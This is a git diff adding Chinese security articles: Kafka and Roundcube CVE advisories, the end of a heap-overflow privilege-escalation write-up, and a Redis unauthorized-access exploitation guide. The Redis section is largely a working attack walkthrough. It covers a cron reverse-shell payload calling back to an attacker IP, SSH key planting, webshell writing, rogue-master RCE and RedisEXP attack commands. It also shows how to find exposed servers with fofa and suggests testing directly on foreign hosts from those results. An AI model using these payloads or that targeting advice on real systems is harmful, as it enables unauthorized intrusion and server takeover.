+envp[134]: LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[135]: LC_MEASUREMENT=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[136]: LC_TELEPHONE=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[137]: LC_ADDRESS=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAenvp[138]: LC_NAME=xxxxxxxxxxxxxxxxxxxxx
+```
+
+
+
+环境变量的值是:C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+
+观察环境变量完毕后直接finish完成setlocale函数的运行,查看bins,可以发现进行构造出来的空闲堆块!
+
+
+
+
+
+
+
+查看一下构造的空闲堆块的空间布局:
+
+
+
+
+
+
+
+可以通过这个字符串指令快速搜索到要覆盖的目标堆块地址!
+
+
+```
+pwndbg> search -s compat [heap]
+```
+
+
+
+
+
+
+
+调试到目标位置,找到要进行覆盖的结构体:
+
+
+
+
+
+
+
+成功实现覆盖替换name字段和将handle置为NULL!
+
+
+
+
+
+
+
+
+这里的service_user-》know的值是在被堆溢出覆盖为0后重新赋值的!最后成功拼接出恶意so文件的路径进行加载提权!
+
+
+
+
+
+
+
+
+
+
+
+
+看雪ID:
+Brinmon
+
+https://bbs.kanxue.com/user-home-970470.htm
+
+*本文为看雪论坛精华文章,由
+Brinmon
+ 原创,转载请注明来自看雪社区
+
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458593263&idx=1&sn=b3503a7dded4e013a4cc644bedbabb48&scene=21#wechat_redirect)
+
+SDC 2025 议题征集中!欢迎投稿~
+
+
+
+# 往期推荐
+
+1、
+[安卓壳学习记录(下)-某加固免费版分析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592613&idx=2&sn=3509d0611c62f7922a97536583bcd512&scene=21#wechat_redirect)
+
+
+2、
+[逆向分析:Win10 ObRegisterCallbacks的相关分析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592612&idx=1&sn=8ddae3ae29238d0dd594884189b49468&scene=21#wechat_redirect)
+
+
+3、
+[VMP入门:VMP1.81 Demo分析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592604&idx=1&sn=4de551ee6b16fbe78d48fdf7bdfa110c&scene=21#wechat_redirect)
+
+
+4、
+[腾讯2025游戏安全PC方向初赛题解](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592525&idx=1&sn=6420cca04db12b6f15b463c61862ece9&scene=21#wechat_redirect)
+
+
+5、
+[OLLVM 攻略笔记](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592514&idx=1&sn=937fcf5982a3530520507249573a1f22&scene=21#wechat_redirect)
+
+
+6、
+[安卓壳学习记录(上)](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592509&idx=1&sn=eda8cd88f250fecb4ece647b801642e7&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+**球分享**
+
+
+
+**球点赞**
+
+
+
+**球在看**
+
+
+
+
+点击阅读原文查看更多
+
diff --git a/doc/2025-06/KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞.md b/doc/2025-06/KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞.md
new file mode 100644
index 00000000..ab81b9c5
--- /dev/null
+++ b/doc/2025-06/KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞.md
@@ -0,0 +1,12 @@
+# KAFKA CLIENT 3.9.0 及以下版本存在服务器端请求伪造漏洞
+ 独眼情报 2025-06-10 05:06
+
+
+
+在 Apache Kafka Client 3.9.0 及更早版本中发现了一个被评为关键的漏洞。这影响了一些未知的处理过程。对未知输入的操控会导致服务器端请求伪造漏洞。CWE 将此问题归类为 CWE-918。Web 服务器从上游组件接收 URL 或类似请求并检索该 URL 的内容,但它没有充分确保请求被发送到预期的目的地。这将对机密性、完整性和可用性产生影响。
+
+该安全公告在 lists.apache.org 上共享。自 2025 年 3 月 7 日起,此漏洞被唯一标识为 CVE-2025-27817。据称该漏洞易于利用。可以远程发起攻击。目前尚未公开提供技术细节或漏洞利用程序。
+
+
+
+
diff --git a/doc/2025-06/Redis未授权漏洞复现汇总.md b/doc/2025-06/Redis未授权漏洞复现汇总.md
new file mode 100644
index 00000000..1c4a0fce
--- /dev/null
+++ b/doc/2025-06/Redis未授权漏洞复现汇总.md
@@ -0,0 +1,426 @@
+# Redis未授权漏洞复现汇总
+网安探索员 网安探索员 2025-06-10 12:00
+
+原文链接:
+
+https://www.freebuf.com/articles/web/433079.html
+## Redis介绍
+> Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性:
+> 基于内存运行,性能高效支持分布式,理论上可以无限扩展key-value存储系统开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
+> 目前guthub/twitter/微博/阿里/美团/百度等大厂都在使用Redis,Redis 的应用场景包括:缓存系统(“热点”数据:高频读、低频写)、计数器、消息队列系统、排行榜、社交网络和实时系统。
+
+## redis常用指令以及配置文件介绍
+> 1.redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
+> 2.info # 查看相关redis信息
+> 3.set xz "Hacker" # 设置键xz的值为字符串Hacker
+> 4.get xz # 获取键xz的内容
+> 5.INCR score # 使用INCR命令将score的值增加1
+> 6.keys * # 列出当前数据库中所有的键
+> 7.config set protected-mode no # 关闭安全模式
+> 8.get anotherkey # 获取一个不存在的键的值
+> 9.config set dir /root/redis # 设置保存目录
+> 10.config set dbfilename redis.rdb # 设置保存文件名
+> 11.config get dir # 查看保存目录
+> 12.config get dbfilename # 查看保存文件名
+> 13.save # 进行一次备份操作
+> 14.flushall # 删除所有数据
+> 15.del key # 删除键为key的数据
+> 16.slaveof ip port # 设置主从关系
+>
+> 17.127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3 #批量设置键值对
+> OK
+>
+> 18.127.0.0.1:6379> mget k1 k2 k3 #批量获取键值对
+> 1) "v1"
+> 2) "v2"
+> 3) "v3"
+> 使用SET和GET命令,可以完成基本的赋值和取值操作;
+> Redis是不区分命令的大小写的,set和SET是同一个意思;
+> 使用keys *可以列出当前数据库中的所有键;
+> 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
+> 如果键的值中有空格,需要使用双引号括起来,如"Hello World";
+
+### redis.conf配置文件参数
+> port参数:
+格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
+> bind参数:
+格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.47.173 10.0.0.1,表允许192.168.47.173和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
+> save参数:
+格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
+save 900 1
+save 300 10
+save 60 10000
+表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
+> requirepass参数:
+格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
+> dir参数:
+格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
+> dbfilename参数:
+格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
+> config命令:
+通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
+> protected-mode参数:
+redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
+
+## Redis未授权访问漏洞介绍
+> **Redis**
+默认情况下,会绑定在 **0.0.0.0:6379**
+,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
+> 攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的**config 命令**
+,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 **/root/.ssh**
+文件夹的**authotrized_keys**
+文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
+
+## Redis常见getshell漏洞汇总
+
+
+
+
+## Redis资产获取
+> 这里我使用fofa进行举例,还可以使用hunter,quark,zoomeye之类的工具,语法都是大同小异。
+>
+> fofa语法:
+> protocol="redis"
+> port="6379"
+> app="reds"
+> 也可以三个一起用,结果更加精准。
+> protocol="redis"&&port="6379"&&app="redis"
+> 如果攻防之类的有特定要求
+> 可以使用city,is_domain,等条件进一步缩小范围。
+
+
+
+
+
+
+
+> 当然很多情况我们没有会员无法进行导出,所以可以从海鲜平台花个十几块,每个工具的key进行导出测试,比如使用fofa_view等工具。
+
+
+
+> fofa_view工具进行资产导出
+
+
+
+> 导出测试就可以。
+
+
+## Redis漏洞发现
+> 我推荐使用afrog进行测试,将得到的资产保存到redis.txt里面
+> 语法:
+> afrog -s redis -pl #进行查看确实有poc
+
+
+
+
+> 使用这个语法进行测试,结果保存到,reids.html
+>
+> afrog -s redis -T redis.txt -S high -o redis.html
+>
+> -s 指定poc
+> -T 指定redis资产文件
+> -o 报错结果
+> -S 指定威胁等级
+
+
+
+> 一般工具的误报很低很低。
+
+
+
+> 之后结果查看确实可以未授权看到redis数据库里面的内容。
+
+## 复现环境搭建
+
+redis服务器安装
+> 靶机:centos7
+wget https://download.redis.io/releases/redis-4.0.10.tar.gz//下载redis压缩包
+tar -zxvfredis-4.0.10.tar.gz//解压我们下载的压缩包
+> cd redis-4.0.10/src//然后进入redis的src目录下
+然后进行编译安装
+make
+make install
+> 如果报错就先装gcc-c++,之后在操作
+> [root@bogon redis-4.0.6]# yum install gcc-c++ yum安装gcc
+> [root@bogon redis-4.0.6]# make distclean 清空上次编译失败残留文件
+> [root@bogon redis-4.0.6]# make && make install 执行编译及安装
+>
+> 之后进行配置
+>
+> vim打开redis.conf文件,然后找到daemonize 值改为yes(后台启动,不然窗口一关服务就挂了)
+bind 127.0.0.1注释掉,否则只允许本地访问
+> requirepass yourpassword可以设置密码
+protected-mode no
+启动redis服务:需要两个文件 redis-server redis.conf(注意这两个并不是在同一级目录,根据自己当前所在目录进行调用)
+>
+> redis.conf 在redis的一级目录下面
+redis-server 在src目录下面
+>
+
+
+安装redis客户端
+> 攻击机:kali
+get https://download.redis.io/releases/redis-7.0.0.tar.gz
+tar -zxf redis-7.0.0.tar.gz
+cd redis-7.0.0
+make
+cp src/redis-cli /usr/bin
+> // 测试连接
+redis-cli -h your_host -p 6379 -a "pass" --raw
+-h: 远程连接的主机
+-p: 远程连接的端口
+-a: 密码
+--raw:解决中文乱码。
+
+
+**注:测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。**
+> iptables -F
+setenforce 0
+systemctl stop firewalld.service
+> iptables -F:
+> 该命令用来清除(flush)所有现有的 iptables 防火墙规则。iptables 是 Linux 中的包过滤工具,负责管理网络流量的过滤和路由。执行这个命令后,所有已设置的防火墙规则都会被清空,网络流量将不再受到任何过滤。
+setenforce 0:
+> 这个命令用于设置 SELinux(Security-Enhanced Linux)模式为宽松模式(Permissive)。在 SELinux 的宽松模式下,SELinux 仍然会记录违规事件,但不会阻止或限制任何操作。相比之下,如果设置为强制模式(setenforce 1),SELinux 会严格执行安全策略,拒绝所有不符合规则的操作。
+systemctl stop firewalld.service:
+> 该命令用于停止 firewalld 服务。firewalld 是一个基于区域的防火墙管理工具,提供了一种更灵活和动态的防火墙管理方式。执行该命令后,firewalld 防火墙会被停止,从而停止所有通过 firewalld 管理的防火墙规则。
+
+### 如果环境有问题可以自行百度或者直接从资产里拿国外的直接进行测试即可。
+## 未授权利用计划任务反弹shell
+
+**漏洞原理**
+
+利用Redis未授权漏洞,可以通过写入文件到系统计划任务目录 **/var/spool/cron/crontabs**
+下来执行;(/crontabskali系统下的计划任务文件夹。)
+
+**漏洞复现**
+
+在kali上建立起nc监听。
+> nv -lvvp 2333
+
+
+之后使用
+> redis-cli -h 192.168.138.128 # 未授权访问redis服务
+>
+> 192.168.136.169:6379> set xxx "\n\n * * * * * bash -i >& /dev/tcp/192.168.136.128/2333 0>&1 \n\n"
+OK # /添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。这里你也可以去不加\n,去看看乱码,踩个坑才能印象深刻
+192.168.136.169:6379> config set dir /var/spool/cron/
+OK # 设置路径
+192.168.136.169:6379> config set dbfilename root
+OK # 设置文件名
+192.168.136.169:6379> save
+OK # 保存key值到文件中
+192.168.136.169:6379>
+>
+> 之后过一会
+>
+> ──(root㉿kali)-[~/桌面]
+└─# nc -lvvp 2333
+listening on [any] 2333 ...
+192.168.136.169: inverse host lookup failed: Unknown host
+connect to [192.168.136.128] from (UNKNOWN) [192.168.136.169] 52438
+bash: 此 shell 中无任务控制
+[root@localhost ~]# ls
+ls
+anaconda-ks.cfg
+ElectricRat-docker
+ElectricRat-docker.zip
+initial-setup-ks.cfg
+redis-4.0.10
+redis-4.0.10.tar.gz
+公共
+模板
+视频
+图片
+文档
+下载
+音乐
+桌面
+[root@localhost ~]#
+
+## 利用redis写ssh公钥实现ssh登录
+
+**漏洞原理**
+
+在数据库中插入一条数据,将本机的**公钥**
+作为value,key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
+
+**利用条件:**
+
+redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入。
+
+**利用过程**
+
+确保CentOS 7 ssh服务开启着:
+> 查看ssh服务状态
+systemctl status sshd.service
+
+
+尝试使用Kali远程连接ssh:ssh root@192.168.1.8,可以看到需要登密码。
+
+
+
+攻击机(Kali)上创建**ssh-rsa**
+密钥,也就是生成key,这里什么也不输入,连续回车三次。
+```
+```
+
+Your public key has been saved in /root/.ssh/id_rsa.pub
+
+可以看到生成的公钥已将保存到/root/.ssh/id_rsa.pub路径下,输入ls -al /root/.ssh/命令可以看到保存的公钥文件。
+
+
+将公钥导入**key.txt**
+,(前后用\n换行,避免和redis里其他缓存数据混合,是用于防止乱码);
+```
+```
+
+ls -al /root/.ssh/可以查看生成的key.txt文件,使用cat /root/.ssh/key.txt查看密钥内容。
+
+
+Kali通过redis的未授权访问漏洞,将key.txt生成的公钥写入靶机服务器的内存之中:
+```
+```
+
+**-x**
+代表从标准输入读取数据作为该命令的最后一个参数。
+
+Kali通过redis远程登陆,输入key *,查看crack,输入get crack查看公钥内容。
+
+
+
+设置路径和保存的文件名,将内存变量导入磁盘文件。
+```
+```
+
+注意:这里报错(error) ERR Changing directory: No such file or directory的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令(mkdir /root/.ssh)手动创建.ssh目录。
+
+
+靶机(CentOS 7)可以执行cat /root/.ssh/authorized_keys查看公钥已经成功导入;此时,在攻击机(Kali)这里用ssh连接靶机,可成功连接。
+```
+```
+
+ifconfig查看ssh成功连接。
+> ──(root㉿kali)-[~/.ssh]
+└─# ssh -i id_rsa root@192.168.1.8
+Last login: Thu May 23 15:18:56 2024 from 192.168.1.8
+[root@localhost ~]#
+然后直接接管服务器了
+
+## 利用redis写入Webshell
+
+**利用条件:**
+- 服务器开着web服务
+
+- redis有web目录写权限,可以往web路径写入文件
+
+**复现过程:**
+
+在攻击机Kali上未授权访问Redis。
+```
+```
+
+通过redis-cli向apache的/var/www/html目录下写webshell文件,并使用蚁剑连接。
+```
+```
+
+访问192.168.1.8/shell.php使webshell脚本生效,再使用蚁剑连接。
+
+
+
+## Redis主从复制 GetShell
+## 漏洞原理
+
+漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
+
+在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意.so文件,即可执行命令。
+## 利用条件
+- 影响版本:Redis 4.x/5.x (<= 5.0.5)
+
+- 漏洞类型:RCE
+
+- 利用条件:未授权或者弱口令外网访问redis 服务
+
+## 漏洞复现
+
+**直接使用攻击即可:**
+Awsome-Redis-Rogue-Server
+
+下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
+
+利用工具反弹shell:可以执行一下语句进行反弹shell。
+```
+```
+
+--rhost [靶机] --lhost [黑客攻击],运行时可能存在编码错误,将.py文件改为gbk编码。
+
+注意:脚本运行的时候,有两种模式【i】交互式,也就是命令行;【r】反弹shell。
+
+反弹shell:
+
+
+
+交互模式:
+
+
+
+这部分的缺点就是只适用于目标机器**允许远程登录**
+的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。
+## redis自动测试工具推荐
+## RedisEXP
+> 基本连接:
+RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456
+> 执行Redis命令:
+RedisExp.exe -m cli -r 192.168.19.1 -p 6379 -w 123456 -c info
+> 加载dll或so执行命令:
+RedisExp.exe -m load -r 目标IP -p 目标端口 -w 密码 -rf (目标 dll | so 文件名)
+RedisEXP.exe -m load -r 127.0.0.1 -p 6379 -rf exp.dll -n system -t system.exec
+> 主从复制命令执行:
+RedisExp.exe -m rce -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -rf 目标文件名[exp.dll | exp.so (Linux)]
+RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami
+RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami -rf exp.so
+> 主从复制上传文件:
+RedisExp.exe -m upload -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件
+RedisEXP.exe -m upload -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -rp . -rf 1.txt -lf .\README.md
+> 主动关闭主从复制:
+RedisExp.exe -m close -r 目标IP -p 目标端口 -w 密码
+> 写计划任务:
+RedisExp.exe -m cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort
+RedisEXP.exe -m cron -r 192.168.1.8 -p 6379 -L 192.168.1.8 -P 9001
+> 写SSH 公钥:
+RedisExp.exe -m ssh -r 目标IP -p 目标端口 -w 密码 -u 用户名 -s 公钥
+RedisEXP.exe -m ssh -r 192.168.1.8 -p 6379 -u root -s ssh-aaaaaaaaaaaaaa
+> 写webshell:
+RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容 [base64内容使用 -b 来解码]
+RedisEXP.exe -m shell -r 127.0.0.1 -p 6379 -rp . -rf shell.txt -s MTIzNA== -b
+> CVE-2022-0543:
+RedisExp.exe -m cve -r 目标IP -p 目标端口 -w 密码 -c 执行命令
+> 爆破Redis密码:
+RedisExp.exe -m brute -r 目标IP -p 目标端口 -f 密码字典
+RedisEXP.exe -m brute -r 127.0.0.1 -p 6378 -f pass.txt
+> 生成gohper:
+RedisExp.exe -m gopher -r 目标IP -p 目标端口 -f gopher模板文件
+> 执行 bgsave:
+RedisExp.exe -m bgsave -r 目标IP -p 目标端口 -w 密码
+> 判断文件(需要绝对路径):
+RedisExp.exe -m dir -r 目标IP -p 目标端口 -w 密码 -rf c:\windows\win.ini
+
+
+redis未授权检测
+
+基本连接
+> .\RedisEXP.exe -r 123.58.224.8 -p 38798
+
+
+
+
+## redis未授权访问漏洞防护建议
+> 将redis版本升级到4.x/5.05或以上;将redis的默认端口号6379修改为其他端口号并避免redis端口暴露在公网;设置密码认证(一般为空),可以免密码远程登陆redis服务;利用防火墙对访问redis服务器的流量进行检测拦截;绑定内网ip地址进行访问。
+
+
+
+
+
+
+
+
+
diff --git a/doc/2025-06/【复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)风险通告.md b/doc/2025-06/【复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)风险通告.md
new file mode 100644
index 00000000..85acf5aa
--- /dev/null
+++ b/doc/2025-06/【复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)风险通告.md
@@ -0,0 +1,92 @@
+# 【复现】Kafka Connect任意文件读取漏洞(CVE-2025-27817)风险通告
+ 赛博昆仑CERT 2025-06-10 12:05
+
+
+
+
+-
+赛博昆仑漏洞
+安全风险通告
+-
+
+Kafka Connect任意文件读取漏洞(CVE-2025-27817)风险通告
+
+
+
+
+
+
+**漏洞描****述**
+
+
+ Kafka Connect 是一种用于在 Apache Kafka 和其他系统之间可扩展且可靠地流式传输数据的工具。 它使快速定义将大量数据移入和移出 Kafka 的连接器变得简单。 Kafka Connect 可以摄取整个数据库或从所有应用程序服务器收集指标到 Kafka 主题中,使数据可用于低延迟的流处理。 导出作业可以将数据从 Kafka 主题传送到二级存储和查询系统或批处理系统进行离线分析。
+
+ 赛博昆仑CERT监测到
+Kafka Connect任意文件读取漏洞
+(CVE-2025-27817)
+的漏洞情报,攻击者在未授权的情况下可以利用该漏洞读取
+Kafka Connect服务器上的任意文件,从而造成信息泄露。
+
+漏洞名称 | Kafka Connect任意文件读取漏洞 |
漏洞公开编号 | CVE-2025-27817 |
昆仑漏洞库编号 | CYKL-2025-032809 |
漏洞类型 | 文件读取/ssrf
| 公开时间 | 2025-6-9 |
漏洞等级 | 高危 | 评分 | 7.5 |
漏洞所需权限 | 无权限要求 | 漏洞利用难度 | 低 |
PoC状态 | 未知 | EXP状态 | 未知 |
漏洞细节 | 未知 | 在野利用 | 未知 |
+
+**漏洞复现**
+
+
+目前,赛博昆仑CERT已成功复现
+Kafka Connect任意文件读取漏洞,复现版本3.9.0
+
+
+
+
+
+
+
+****
+**防护措施**
+- **修复建议**
+
+目前,官方已发布安全补丁,建议受影响的用户尽快安装最新版本补丁。
+
+ 下载地址:
+
+https://github.com/apache/kafka/releases/tag/3.9.1
+
+- **技术业务咨询**
+
+
+
+赛博昆仑支持对用户提供轻量级的检测规则或热补方式,可提供定制化服务适配多种产品及规则,帮助用户进行漏洞检测和修复。
+
+赛博昆仑CERT已开启年订阅服务,付费客户(可申请试用)将获取更多技术详情,并支持适配客户的需求。
+
+联系邮箱:
+cert@cyberkl.com
+
+公众号:赛博昆仑CERT
+
+
+****
+**时间线**
+
+ 2025年6月9日,官方发布补丁
+
+ 2025年6月10日,赛博昆仑CERT发布漏洞风险通告
+
+
+**技术业务咨询**
+
+邮箱:cert@cyberkl.com
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/doc/2025-06/【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113).md b/doc/2025-06/【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113).md
new file mode 100644
index 00000000..7149727b
--- /dev/null
+++ b/doc/2025-06/【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113).md
@@ -0,0 +1,128 @@
+# 【成功复现】Roundcube Webmail代码执行漏洞(CVE-2025-49113)
+弥天安全实验室 弥天安全实验室 2025-06-10 11:10
+
+#
+
+网安引领时代,弥天点亮未来
+
+
+
+
+
+
+
+
+
+
+
+**0x00写在前面**
+
+**本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!**
+
+
+
+
+**0x01漏洞介绍**
+
+
+
+
+ Roundcube Webmail是一款流行的开源Web邮件客户端,旨在提供用户友好的界面和强大的功能,使用户能够通过浏览器轻松访问和管理他们的电子邮件。Roundcube具有现代化的设计和响应式布局,支持多种语言和插件扩展,为用户提供了个性化和灵活的邮件体验。
+
+Roundcube Webmail 1.5.10之前版本和 1.6.11之前版本存在安全漏洞,该漏洞源于未验证_from参数,可能导致PHP对象反序列化攻击。
+
+
+
+
+
+**0x02影响版本**
+
+**Roundcube Webmail <1.5.10**
+
+Roundcube Webmail <1.6.11
+
+
+
+
+
+
+
+
+**0x03漏洞复现**
+
+
+1.访问漏洞环境
+
+
+
+2.对漏洞进行复现
+
+
+**POC**
+
+漏洞复现
+
+ 执行id命令,通过相应判断漏洞存在
+
+
+```
+https://github.com/fearsoff-org/CVE-2025-49113
+```
+
+
+3.Yakit插件
+测试
+
+
+
+
+
+
+
+**0x04修复建议**
+
+
+目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
+
+建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
+```
+https://github.com/roundcube/roundcubemail/releases
+https://github.com/hakaioffsec/CVE-2025-49113-exploit/blob/main/images/image.png
+https://fearsoff.org/research/roundcubehttps://www.onekey.com/resource/security-advisory-remote-command-execution-on-smartbedded-meteobridge-cve-2025-4008
+```
+
+
+
+弥天简介
+
+学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
+
+口号 网安引领时代,弥天点亮未来
+
+
+
+
+
+
+
+
+知识分享完了
+
+喜欢别忘了关注我们哦~
+
+学海浩茫,
+
+予以风动,
+
+必降弥天之润!
+
+
+ 弥 天
+
+安全实验室
+
+
+
+
+
+
diff --git a/doc/2025-06/【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818).md b/doc/2025-06/【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818).md
new file mode 100644
index 00000000..d02fff81
--- /dev/null
+++ b/doc/2025-06/【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818).md
@@ -0,0 +1,40 @@
+# 【漏洞通告】Apache Kafka Connect LDAP远程代码执行漏洞(CVE-2025-27818)
+ 启明星辰安全简讯 2025-06-10 10:17
+
+### 一、漏洞概述
+漏洞名称 | Apache Kafka Connect LDAP远程代码执行漏洞 |
CVE ID | CVE-2025-27818 |
漏洞类型 | RCE | 发现时间 | 2025-06-10 |
漏洞评分 | 暂无 | 漏洞等级 | 高危 |
攻击向量 | 网络 | 所需权限 | 低 |
利用难度 | 低 | 用户交互 | 不需要 |
PoC/EXP | 未公开 | 在野利用 | 未发现 |
+Apache Kafka是一个开源的分布式流处理平台,主要用于高吞吐、可扩展的消息发布与订阅。它支持实时数据传输,可广泛应用于日志收集、事件监控、流式计算等场景。Kafka 通过Producer、Broker和Consumer构建消息管道,具备持久化、高可用和容错能力,广泛用于大数据和微服务架构中。
+
+2025年6月10日,启明星辰集团VSRC监测到Apache发布的安全公告,披露Apache Kafka存在一个远程代码执行(RCE)漏洞(CVE-2025-27818)。攻击者可通过Kafka Connect配置中的sasl.jaas.config参数,将Kafka客户端指向恶意LDAP服务器,诱导服务器反序列化不可信数据,从而实现任意代码执行。该漏洞影响使用SASL JAAS配置的Kafka Connect集群,特别是在未对登录模块进行限制配置的环境中。自Kafka 3.9.1/4.0.0起,官方已默认禁用相关高风险登录模块,并提供系统属性用于细化控制。建议用户及时升级受影响版本,强化配置审计,降低风险。
+### 二、影响范围
+
+2.3.0 ≤ Apache Kafka ≤ 3.9.0
+### 三、安全措施
+
+3.1 升级版本
+
+Apache Kafka 3.9.1 / 4.0.0 及以上版本(默认禁用高风险 LoginModule,提供登录模块白名单机制)。
+
+下载链接:
+
+https://kafka.apache.org/downloads/
+
+3.2 临时措施
+
+暂无。
+
+3.3 通用建议
+
+定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
+
+加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
+
+使用企业级安全产品,提升企业的网络安全性能。
+
+加强系统用户和权限管理,启用多因素认证机制和最小权限原则,用户和软件权限应保持在最低限度。
+
+启用强密码策略并设置为定期修改。
+
+3.4 参考链接
+
+https://lists.apache.org/thread/hv3917z1o07lhbdy3x36y4cnhyd1nfyp
diff --git a/doc/2025-06/【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞(CVE-2025-27817).md b/doc/2025-06/【漏洞通告】Apache Kafka任意文件读取与SSRF漏洞(CVE-2025-27817).md
new file mode 100644
index 00000000..046e1996
--- /dev/null
